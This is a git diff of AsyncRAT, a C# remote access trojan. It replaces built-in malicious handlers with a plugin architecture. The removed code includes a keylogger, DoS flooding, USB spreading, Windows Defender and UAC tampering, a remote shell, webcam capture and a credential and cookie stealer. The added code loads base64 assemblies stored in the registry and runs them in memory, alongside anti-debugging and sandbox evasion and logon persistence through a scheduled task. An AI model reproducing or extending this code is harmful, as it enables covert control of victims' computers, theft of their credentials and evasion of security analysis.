- CreateNoWindow = true, - }; - } - catch { } - finally - { - Process.Start(Del); - Methods.ClientExit(); - Environment.Exit(0); - } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs deleted file mode 100644 index 1220a37..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs +++ /dev/null @@ -1,47 +0,0 @@ -using Client.Helper; -using Client.MessagePack; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Client.Handle_Packet -{ - public class HandlerChat - { - - public void CreateChat() - { - new Thread(() => - { - Packet.GetFormChat = new FormChat(); - Packet.GetFormChat.ShowDialog(); - }).Start(); - } - public void WriteInput(MsgPack unpack_msgpack) - { - if (Packet.GetFormChat.InvokeRequired) - { - Packet.GetFormChat.Invoke((MethodInvoker)(() => - { - Console.Beep(); - Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine); - })); - } - } - - public void ExitChat() - { - if (Packet.GetFormChat.InvokeRequired) - { - Packet.GetFormChat.Invoke((MethodInvoker)(() => - { - Packet.GetFormChat.Close(); - Packet.GetFormChat.Dispose(); - })); - } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs deleted file mode 100644 index 98304aa..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs +++ /dev/null @@ -1,36 +0,0 @@ -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Reflection; -using System.Text; -using System.Diagnostics; -namespace Client.Handle_Packet -{ - public class HandlerRecovery - { - public HandlerRecovery(MsgPack unpack_msgpack) - { - try - { - // DLL StealerLib => gitlab.com/thoxy/stealerlib - Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); - MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential"); - MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies"); - object injObj = loader.CreateInstance(meth.Name); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Password").AsString = (string)meth.Invoke(injObj, null); - msgpack.ForcePathObject("Cookies").AsString = (string)meth2.Invoke(injObj, null); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - Packet.Error(ex.Message); - } - return; - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index ccc1682..96c7d44 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -10,16 +10,13 @@ using System.Reflection; using System.Text; using System.Threading; using System.Windows.Forms; +using System.Collections.Generic; +using Microsoft.VisualBasic; namespace Client.Handle_Packet { public static class Packet { - public static CancellationTokenSource ctsDos; - public static CancellationTokenSource ctsReportWindow; - public static FormChat GetFormChat; - public static string FileCopy = null; - public static void Read(object data) { try @@ -28,230 +25,57 @@ namespace Client.Handle_Packet unpack_msgpack.DecodeFromBytes((byte[])data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { - case "sendMessage": - { - MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); - break; - } - case "Ping": { Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); break; } - case "thumbnails": + case "plugin": // run plugin in memory { - new HandleThumbnails(); + Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))); + Type type = assembly.GetType("Plugin.Plugin"); + dynamic instance = Activator.CreateInstance(type); + instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install, Settings.InstallFile); break; } - case "sendFile": + case "savePlugin": // save plugin as MD5:Base64 { - Received(); - new HandleSendTo().SendToDisk(unpack_msgpack); + SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString); + Debug.WriteLine("plguin saved"); break; } - case "sendMemory": + case "checkPlugin": // server sent all plugins hashes, we check which plugin we miss { - Received(); - new HandleSendTo().SendToMemory(unpack_msgpack); - break; - } - - case "recoveryPassword": - { - Received(); - new HandlerRecovery(unpack_msgpack); - break; - } - - case "defender": - { - new HandleWindowsDefender(); - break; - } - - case "uac": - { - new HandleUAC(); - break; - } - - case "close": - { - Methods.ClientExit(); - Environment.Exit(0); - break; - } - - case "restart": - { - Process.Start(Application.ExecutablePath); - Methods.ClientExit(); - Environment.Exit(0); - break; - } - - case "uninstall": - { - new HandleUninstall(); - break; - } - - case "usbSpread": - { - new HandleLimeUSB(unpack_msgpack); - break; - } - - case "remoteDesktop": - { - new HandleRemoteDesktop(unpack_msgpack); - break; - } - - case "processManager": - { - new HandleProcessManager(unpack_msgpack); - } - break; - - case "fileManager": - { - new FileManager(unpack_msgpack); - } - break; - - case "botKiller": - { - new HandleBotKiller().RunBotKiller(); - break; - } - - case "keyLogger": - { - string isON = unpack_msgpack.ForcePathObject("isON").AsString; - if (isON == "true") + List plugins = new List(); + foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(',')) { - new Thread(() => + if (SetRegistry.GetValue(plugin.Trim()) == null) { - HandleLimeLogger.isON = true; - HandleLimeLogger.Run(); - }).Start(); + plugins.Add(plugin.Trim()); + Debug.WriteLine("plguin not found"); + } } - else + if (plugins.Count > 0) { - HandleLimeLogger.isON = false; + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").SetAsString("sendPlugin"); + msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins)); + ClientSocket.Send(msgPack.Encode2Bytes()); } break; } - case "visitURL": - { - string url = unpack_msgpack.ForcePathObject("URL").AsString; - if (url.StartsWith("http")) - { - Process.Start(url); - } - break; - } - - case "dos": - { - switch (unpack_msgpack.ForcePathObject("Option").AsString) - { - case "postStart": - { - ctsDos = new CancellationTokenSource(); - new HandleDos().DosPost(unpack_msgpack); - break; - } - - case "postStop": - { - ctsDos.Cancel(); - break; - } - } - break; - } - - case "shell": - { - HandleShell.StarShell(); - break; - } - - case "shellWriteInput": - { - if (HandleShell.ProcessShell != null) - HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString); - break; - } - - case "chat": - { - new HandlerChat().CreateChat(); - break; - } - - case "chatWriteInput": - { - new HandlerChat().WriteInput(unpack_msgpack); - break; - } - - case "chatExit": - { - new HandlerChat().ExitChat(); - break; - } - - case "pcOptions": - { - new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString); - break; - } - - case "reportWindow": - { - new HandleReportWindow(unpack_msgpack); - break; - } - - - case "torrent": - { - new HandleTorrent(unpack_msgpack); - break; - } - - case "executeDotNetCode": - { - new HandlerExecuteDotNetCode(unpack_msgpack); - break; - } - - case "blankscreen": - { - HandleBlankScreen.RunBlankScreen(); - break; - } - - case "webcam": - { - HandleWebcam.Run(unpack_msgpack); - break; - } - - - //case "netStat": - // { - // HandleNetStat.RunNetStat(); - // break; - // } + //case "cleanPlugin": // server want to clean and re save all plugins + // { + // SetRegistry.DeleteSubKey(); + // MsgPack msgPack = new MsgPack(); + // msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+"); + // ClientSocket.Send(msgPack.Encode2Bytes()); + // break; + // } } } catch (Exception ex) @@ -260,13 +84,6 @@ namespace Client.Handle_Packet } } - private static void Received() - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Received"; - ClientSocket.Send(msgpack.Encode2Bytes()); - } - public static void Error(string ex) { MsgPack msgpack = new MsgPack(); diff --git a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs index 1fbabf1..c58fa2e 100644 --- a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs +++ b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs @@ -14,8 +14,6 @@ using System.Runtime.InteropServices; // This program is distributed for educational purposes only. - - namespace Client.Helper { @@ -24,8 +22,7 @@ namespace Client.Helper public static void RunAntiAnalysis() { if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP()) - //Environment.FailFast(null); - new HandleUninstall(); + Environment.FailFast(null); } private static bool IsSmallDisk() diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 50de55b..342a224 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -25,14 +25,9 @@ namespace Client.Helper { try { - StringBuilder sb = new StringBuilder(); - sb.Append(Environment.ProcessorCount); - sb.Append(Environment.UserName); - sb.Append(Environment.MachineName); - sb.Append(Environment.OSVersion); - sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); - return GetHash(sb.ToString()); - + return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName, + Environment.MachineName, Environment.OSVersion + , new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize)); } catch { @@ -48,10 +43,10 @@ namespace Client.Helper StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); - return strResult.ToString().Substring(0, 15).ToUpper(); + return strResult.ToString().Substring(0, 20).ToUpper(); } - private static Mutex _appMutex; + public static Mutex _appMutex; public static bool CreateMutex() { bool createdNew; @@ -109,7 +104,7 @@ namespace Client.Helper { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; - msgpack.ForcePathObject("HWID").AsString = HWID(); + msgpack.ForcePathObject("HWID").AsString = Settings.Hwid; msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); diff --git a/AsyncRAT-C#/Client/Helper/SetRegistry.cs b/AsyncRAT-C#/Client/Helper/SetRegistry.cs new file mode 100644 index 0000000..6723938 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/SetRegistry.cs @@ -0,0 +1,89 @@ +using Client.Handle_Packet; +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Client.Helper +{ + public static class SetRegistry + { + private static readonly string ID = @"Software\" + Settings.Hwid; + + /* + * Author : NYAN CAT + * Name : Lime Registry DB + * Contact Me : https:github.com/NYAN-x-CAT + * This program is distributed for educational purposes only. + */ + + public static bool SetValue(string name, string value) + { + try + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + key.SetValue(name, value, RegistryValueKind.ExpandString); + return true; + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + return false; + } + + public static string GetValue(string value) + { + try + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) + { + object o = key.GetValue(value); + return (string)o; + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + return null; + } + + public static bool DeleteValue(string name) + { + try + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) + { + key.DeleteValue(name); + return true; + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + return false; + } + + public static bool DeleteSubKey() + { + try + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true)) + { + key.DeleteSubKeyTree(ID); + return true; + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + return false; + } + } +} diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index 2ad11d7..e8bee7c 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -42,8 +42,8 @@ namespace Client.Install { StartInfo = new ProcessStartInfo { - FileName = "cmd.exe", - Arguments = "/c schtasks /create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'", + FileName = "schtasks.exe", + Arguments = "/create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 24bf80f..64c33d4 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -14,11 +14,9 @@ using Client.Helper; namespace Client { - class Program + public class Program { - - - static void Main() + public static void Main() { Thread.Sleep(2500); if (!Settings.InitializeSettings()) Environment.Exit(0); @@ -48,7 +46,7 @@ namespace Client ClientSocket.Reconnect(); ClientSocket.InitializeClient(); } - Thread.Sleep(new Random().Next(1000,5000)); + Thread.Sleep(new Random().Next(1000, 5000)); } } } diff --git a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs index 521823b..7b016a5 100644 --- a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs +++ b/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ using System.Runtime.InteropServices; [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("Copyright © 2019")] +[assembly: AssemblyCopyright("")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 9c025ab..5ea4c0a 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -1,4 +1,5 @@ using Client.Algorithm; +using Client.Helper; using System; using System.IO; using System.Security.Cryptography; @@ -12,7 +13,7 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.3"; + public static string Version = "0.5.4"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; @@ -25,6 +26,7 @@ namespace Client public static Aes256 aes256 = new Aes256(Key); public static string Pastebin = "null"; public static string BDOS = "false"; + public static string Hwid = Methods.HWID(); #else public static string Ports = "%Ports%"; @@ -42,6 +44,7 @@ namespace Client public static Aes256 aes256; public static string Pastebin = "%Pastebin%"; public static string BDOS = "%BDOS%"; + public static string Hwid = ""; #endif @@ -62,6 +65,7 @@ namespace Client Pastebin = aes256.Decrypt(Pastebin); Anti = aes256.Decrypt(Anti); BDOS = aes256.Decrypt(BDOS); + Hwid = Methods.HWID(); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); return VerifyHash(); diff --git a/AsyncRAT-C#/Plugin/Chat/Chat.sln b/AsyncRAT-C#/Plugin/Chat/Chat.sln new file mode 100644 index 0000000..6a20b53 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Chat\Chat.csproj", "{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {EF9C58BD-EA3A-4488-A8CD-871D19820CE4} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj b/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj new file mode 100644 index 0000000..7e83127 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj @@ -0,0 +1,67 @@ + + + + + Debug + AnyCPU + {EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3} + Library + Properties + Plugin + Chat + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + Form + + + FormChat.cs + + + + + + + + + + + + + FormChat.cs + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs new file mode 100644 index 0000000..762fb3d --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs @@ -0,0 +1,214 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient() + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chat-"; + msgpack.ForcePathObject("Hwid").AsString = Hwid; + Send(msgpack.Encode2Bytes()); + new HandlerChat().CreateChat(); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.Designer.cs similarity index 99% rename from AsyncRAT-C#/Client/Helper/FormChat.Designer.cs rename to AsyncRAT-C#/Plugin/Chat/Chat/FormChat.Designer.cs index 13dddcb..a834da0 100644 --- a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.Designer.cs @@ -1,4 +1,4 @@ -namespace Client.Helper +namespace Plugin { partial class FormChat { diff --git a/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs similarity index 67% rename from AsyncRAT-C#/Client/Helper/FormChat.cs rename to AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs index 9a68e21..57db6ba 100644 --- a/AsyncRAT-C#/Client/Helper/FormChat.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs @@ -1,16 +1,13 @@ -using Client.Handle_Packet; -using Client.MessagePack; -using Client.Connection; +using Plugin.MessagePack; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; -using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; -namespace Client.Helper +namespace Plugin { public partial class FormChat : Form { @@ -26,8 +23,9 @@ namespace Client.Helper richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chat"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine; - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); textBox1.Clear(); } } @@ -39,7 +37,16 @@ namespace Client.Helper private void Timer1_Tick(object sender, EventArgs e) { - if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose(); + if (!Connection.IsConnected) + { + Packet.GetFormChat.Invoke((MethodInvoker)(() => + { + Packet.GetFormChat?.Close(); + Packet.GetFormChat?.Dispose(); + })); + Connection.Disconnected(); + GC.Collect(); + } } } } diff --git a/AsyncRAT-C#/Client/Helper/FormChat.resx b/AsyncRAT-C#/Plugin/Chat/Chat/FormChat.resx similarity index 100% rename from AsyncRAT-C#/Client/Helper/FormChat.resx rename to AsyncRAT-C#/Plugin/Chat/Chat/FormChat.resx diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + 